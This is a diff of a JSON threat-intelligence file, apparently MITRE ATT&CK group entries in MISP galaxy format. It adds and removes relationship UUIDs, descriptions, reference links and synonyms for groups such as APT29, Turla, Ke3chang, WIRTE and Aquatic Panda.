-5582,13 +5286,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -5596,20 +5293,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d52291b4-bb23-45a8-aef0-3dc7e986ba15", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -5660,7 +5343,6 @@ "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/", "https://noticeofpleadings.com/phosphorus/files/Complaint.pdf", - "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf", @@ -5767,13 +5449,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", "tags": [ @@ -5795,13 +5470,6 @@ ], "type": "uses" }, - { - "dest-uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", "tags": [ @@ -5830,13 +5498,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -5851,13 +5512,6 @@ ], "type": "similar" }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -5984,13 +5638,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -6086,9 +5733,6 @@ "refs": [ "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "https://attack.mitre.org/groups/G0086" - ], - "synonyms": [ - "Stolen Pencil" ] }, "related": [ @@ -6357,6 +6001,20 @@ ] }, "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", "tags": [ @@ -6646,7 +6304,7 @@ "external_id": "G0116", "refs": [ "https://attack.mitre.org/groups/G0116", - "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf" ], "synonyms": [ "Operation Wocao" @@ -7565,13 +7223,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a7b5df47-73bb-4d47-b701-869f185633a6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ @@ -7825,13 +7476,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -7844,7 +7488,7 @@ "value": "Volatile Cedar - G0123" }, { - "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ", + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ", "meta": { "external_id": "G0129", "refs": [ @@ -7852,7 +7496,6 @@ "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", "https://www.secureworks.com/research/bronze-president-targets-ngos" ], @@ -7885,13 +7528,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03acae53-9b98-46f6-b204-16b930839055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e", "tags": [ @@ -7976,13 +7612,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ @@ -8011,13 +7640,6 @@ ], "type": "uses" }, - { - "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -8039,13 +7661,6 @@ ], "type": "uses" }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ @@ -8053,13 +7668,6 @@ ], "type": "uses" }, - { - "dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -8281,142 +7889,6 @@ "uuid": "fed4f0a2-4347-4530-b0f5-6dfd49b29172", "value": "Nomadic Octopus - G0133" }, - { - "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)", - "meta": { - "external_id": "G0143", - "refs": [ - "https://attack.mitre.org/groups/G0143", - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" - ], - "synonyms": [ - "AQUATIC PANDA" - ] - }, - "related": [ - { - "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a7881f21-e978-4fe4-af56-92c9416a2616", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d906e6f7-434c-44c0-b51a-ed50af8f7945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "64b52e7d-b2c4-4a02-9372-08a463f5dc11", - "value": "Aquatic Panda - G0143" - }, { "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)", "meta": { @@ -9531,7 +9003,7 @@ "value": "APT1 - G0006" }, { - "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti for Windows](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", "meta": { "external_id": "G0001", "refs": [ @@ -9555,20 +9027,6 @@ ], "type": "uses" }, - { - "dest-uuid": "197ef1b9-e764-46c3-b96c-23f77985dc81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -9576,20 +9034,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ @@ -9604,27 +9048,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79da0971-3147-4af6-a4f5-e8cd447cd795", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "810d8072-afb6-4a56-9ee7-86379ac4a6f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "94379dec-5c87-49db-b36e-66abc0b81344", "tags": [ @@ -9647,35 +9070,7 @@ "type": "similar" }, { - "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9688,20 +9083,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ @@ -9715,13 +9096,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "fb28627c-d6ea-4c35-b138-ab5e96ae5445", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", @@ -9928,9 +9302,7 @@ "meta": { "external_id": "G0010", "refs": [ - "http://www.secureworks.com/research/threat-profiles/iron-hunter", "https://attack.mitre.org/groups/G0010", - "https://blog.talosintelligence.com/2021/09/tinyturla.html", "https://securelist.com/introducing-whitebear/81638/", "https://securelist.com/the-epic-turla-operation/65545/", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", @@ -9943,7 +9315,6 @@ ], "synonyms": [ "Turla", - "IRON HUNTER", "Group 88", "Belugasturgeon", "Waterbug", @@ -10031,13 +9402,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2a7c1bb7-cd12-456e-810d-ab3bf8457bab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ @@ -10577,13 +9941,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fa80877c-f509-4daf-8b62-20aba1635f68", "tags": [ @@ -11741,13 +11098,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be", "tags": [ @@ -11811,13 +11161,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -11986,13 +11329,6 @@ ], "type": "uses" }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ @@ -12259,13 +11595,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "tags": [ @@ -12508,16 +11837,14 @@ "value": "Moafee - G0002" }, { - "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)", "meta": { "external_id": "G0004", "refs": [ "https://attack.mitre.org/groups/G0004", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf", "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", - "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", - "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe" + "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs" ], "synonyms": [ "Ke3chang", @@ -12526,8 +11853,7 @@ "Vixen Panda", "GREF", "Playful Dragon", - "RoyalAPT", - "NICKEL" + "RoyalAPT" ] }, "related": [ @@ -12545,13 +11871,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -12587,13 +11906,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ @@ -12601,13 +11913,6 @@ ], "type": "uses" }, - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ @@ -12650,13 +11955,6 @@ ], "type": "uses" }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", "tags": [ @@ -12685,20 +11983,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4664b683-f578-434f-919b-1c1aad2a1111", "tags": [ @@ -12713,13 +11997,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4d7bf2ac-f953-4907-b114-be44dc174d67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ @@ -12762,13 +12039,6 @@ ], "type": "uses" }, - { - "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69", "tags": [ @@ -12832,20 +12102,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ @@ -12860,13 +12116,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -12895,33 +12144,12 @@ ], "type": "uses" }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c", @@ -13582,40 +12810,18 @@ "value": "Carbanak - G0008" }, { - "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021)", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)", "meta": { "external_id": "G0090", "refs": [ "https://attack.mitre.org/groups/G0090", - "https://lab52.io/blog/wirte-group-attacking-the-middle-east/", - "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044" + "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" ], "synonyms": [ "WIRTE" ] }, "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", "tags": [ @@ -13630,20 +12836,6 @@ ], "type": "uses" }, - { - "dest-uuid": "73d08401-005f-4e1f-90b9-8f45d120879f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9020f5c7-efde-4125-a4f1-1b70f1274ddd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -13658,13 +12850,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ @@ -14263,13 +13448,11 @@ "meta": { "external_id": "G0016", "refs": [ - "http://www.secureworks.com/research/threat-profiles/iron-hemlock", "https://attack.mitre.org/groups/G0016", "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF", "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", @@ -14283,7 +13466,6 @@ "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise", - "https://www.secureworks.com/research/threat-profiles/iron-ritual", "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf", "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", @@ -14291,8 +13473,6 @@ ], "synonyms": [ "APT29", - "IRON RITUAL", - "IRON HEMLOCK", "NobleBaron", "Dark Halo", "StellarParticle", @@ -14347,13 +13527,6 @@ ], "type": "uses" }, - { - "dest-uuid": "066b057c-944e-4cfc-b654-e3dfba04b926", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", "tags": [ @@ -14361,13 +13534,6 @@ ], "type": "uses" }, - { - "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "11f8d7eb-1927-4806-9267-3a11d4d4d6be", "tags": [ @@ -14431,13 +13597,6 @@ ], "type": "uses" }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -14459,13 +13618,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { 